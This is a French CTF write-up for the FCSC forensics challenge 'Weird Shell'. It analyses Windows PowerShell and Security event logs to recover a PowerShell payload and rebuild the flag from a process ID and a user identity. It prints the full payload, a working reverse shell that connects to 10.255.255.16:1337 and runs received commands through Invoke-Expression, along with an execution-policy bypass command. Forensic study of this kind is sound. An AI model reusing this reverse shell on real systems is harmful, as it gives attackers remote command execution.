Solution de Remag29 pour Weird Shell

forensics windows logs

25 janvier 2024

Introduction

Dans ce challenge, nous allons majoritairement faire de l’analyse de script PowerShell et de journaux d’événement.

Pour commencer, on peut constater que les fichiers, qui nous sont fournis, sont des journaux de logs Windows.

En les ouvrants, on constate que Microsoft-Windows-PowerShell%4Operational.evtx regroupe les événements en liens avec les opérations de commande PowerShell et que Security.evtx regroupe l’ensemble des événements relatifs à la sécurité du système.

Au vu de la taille des journaux, on peut commencer par celui sur PowerShell, qui est bien moins volumineux.

Le journal PowerShell

On peut voir dans ces logs l’exécution de plusieurs commandes basique (whoami, dir) faites à distance.

Le premier avertissement du 02/04/2023 16:26:51 est particulièrement intéressant car on peut y voir du script PowerShell.

Untitled

do {
    Start-Sleep -Seconds 1
     try{
        $TCPClient = New-Object Net.Sockets.TCPClient('10.255.255.16', 1337)
    } catch {}
} until ($TCPClient.Connected)
$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
function WriteToStream ($String) {
    [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
    $StreamWriter.Write($String + 'SHELL> ')
    $StreamWriter.Flush()
}
WriteToStream "FCSC{$(([System.BitConverter]::ToString(([System.Security.Cryptography.SHA256]::Create()).ComputeHash(([System.Text.Encoding]::UTF8.GetBytes(((Get-Process -Id $PID).Id.ToString()+[System.Security.Principal.WindowsIdentity]::GetCurrent().Name).ToString()))))).Replace('-', '').ToLower())}`n"
while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
    $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)
    $Output = try {
            Invoke-Expression $Command 2>&1 | Out-String
        } catch {
            $_ | Out-String
        }
    WriteToStream ($Output)
}
$StreamWriter.Close()

On constate aussi dans l’avertissement suivant du PowerShell qui semble exécuter une fichier du nom PAYLOAD.PS1 et cela en désactivant les règles d’exécution de script.

Untitled 1

if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & 'D:\PAYLOAD.PS1'

On peut donc supposer ici que le script est stocké dans le fichier PAYLOAD.PS1.

Mais que fait-il précisément ?

Le script PowerShell

Le script commence tout d’abord par établir une connexion TCP vers une ip définie en dur dans le code. Une fonction est ensuite créée afin d’écrire une chaîne de caractères dans un flux. Jusque là, il n’y a pas vraiment d’élément en rapport avec notre flag, mais c’est la ligne suivante qui est vraiment intéressante.

Le script utilise ensuite la fonction nouvellement créée afin d’envoyer un joli string qui concaténe plusieurs informations, mais surtout qui contient le terme “FCSC”. Super !

WriteToStream "FCSC{$(([System.BitConverter]::ToString(([System.Security.Cryptography.SHA256]::Create()).ComputeHash(([System.Text.Encoding]::UTF8.GetBytes(((Get-Process -Id $PID).Id.ToString()+[System.Security.Principal.WindowsIdentity]::GetCurrent().Name).ToString()))))).Replace('-', '').ToLower())}`n"

Nous allons donc étudier la création de ce string plus en détail. La technique est de bien savoir décomposer les éléments qui le compose. On distingue 2 éléments majeurs :

Le premier élément permet de récupérer l’identifiant de processus du script.

(Get-Process -Id $PID).Id.ToString()

Le second élément permet de récupérer l’identité qui est utilisé pour exécuter le script.

([System.Security.Principal.WindowsIdentity]::GetCurrent().Name).ToString()

Une chose pratique à faire, pour mieux comprendre à quoi correspondent les données, est de tester les commandes. Pour nos deux commandes, il n’y a rien de dangereux, donc on peut se le permettre.

> (Get-Process -Id $PID).Id.ToString()
2332
> ([System.Security.Principal.WindowsIdentity]::GetCurrent().Name).ToString()
DESKTOP-29FSC\bob

La seconde chose pratique à faire, maintenant que l’on connait le format des sous-éléments, est de tester le string en entier pour voir à quoi il ressemble.

On peut l’afficher avec la fonction Write-Host :

> Write-Host "FCSC{$(([System.BitConverter]::ToString(([System.Security.Cryptography.SHA256]::Create()).ComputeHash(([System.Text.Encoding]::UTF8.GetBytes(((Get-Process -Id $PID).Id.ToString()+[System.Security.Principal.WindowsIdentity]::GetCurrent().Name).ToString()))))).Replace('-', '').ToLower())}`n"
FCSC{1a4ea4f7623e8cc8983da4d5934b32e931b5b410567e9ef4f4fb0f2375eadbac}

Woaw, ça c’est un joli flag. Cependant attention, tout n’est pas encore terminé.

Il est évident que les sous-éléments qui sont utilisés pour générer le flags sont spécifiques à la machine qui exécute le script. Il va donc falloir identifier grâce aux évènements qu’elles pourraient être les valeurs.

Etude du journal de sécurité

Pour le PID, c’est plutôt simple quand on sait où chercher. Il suffit de trouver l’identifiant de la session PowerShell qui a servi à exécuter ce dernier. On peut donc retourner sur le 7ème élément du journal Microsoft-Windows-PowerShell%4Operational.evtx qui correspondait à l’évènement d’exécution du fichier PAYLOAD.ps1.

Si on va dans les détails et que l’on déroule la partie System, on peut voir la ligne [**ProcessID**] 3788. Nous avons donc le processus.

Untitled 2

Pour identifier qui a exécuté le script, nous allons devoir utiliser le journal Security.evtx.

Pour aller plus vite, on peut utiliser la recherche afin de trouver les évènements qui comprennent le terme PAYLOAD.PS1.

Le premier résultat n’est pas vraiment utile (on dirait simplement que Windows Defender a identifié le script comme suspect).

Le second résultat est bien plus intéressant. On constate qu’une action a été effectué sur notre fichier PAYLOAD.PSI avec PowerShell .exe. L’heure correspond aussi aux évènements. C’est donc sans doute l’exécution du script.

Untitled 3

À partir de maintenant, nous avons à notre disposition toutes les informations nécessaires pour reconstituer le flag. Cependant, il y a tout de même un petit détail sur lequel on doit faire attention.

Par convention (et sans doute comme vous l’avez constaté lors de l’exécution de la commande GetCurrent()) l’identité est représenté de la façon suivante : COMPUTERNAME\user. Cela est vrai dans la majorité des cas, mais pas dans le nôtre.

En effet, si on regarde bien la commande a été exécutée à distance (voir l’évènement dans le journal Microsoft-Windows-PowerShell%4Operational.evtx).

Untitled 4

Dans ce cas là, il faut utiliser le nom du domaine à la place du nom de l’ordinateur. Soit DOMAINE\user.

Ainsi, d’après les informations de l’évènement, on a l’identité FCSC\cmaltese.

On peut donc maintenant reconstituer notre flag via la commande suivante :

> $id = "3788"
> $name = "FCSC\cmaltese"
> [System.BitConverter]::ToString(([System.Security.Cryptography.SHA256]::Create()).ComputeHash(([System.Text.Encoding]::UTF8.GetBytes($id + $name)))).Replace('-', '').ToLower()

Et voilà !!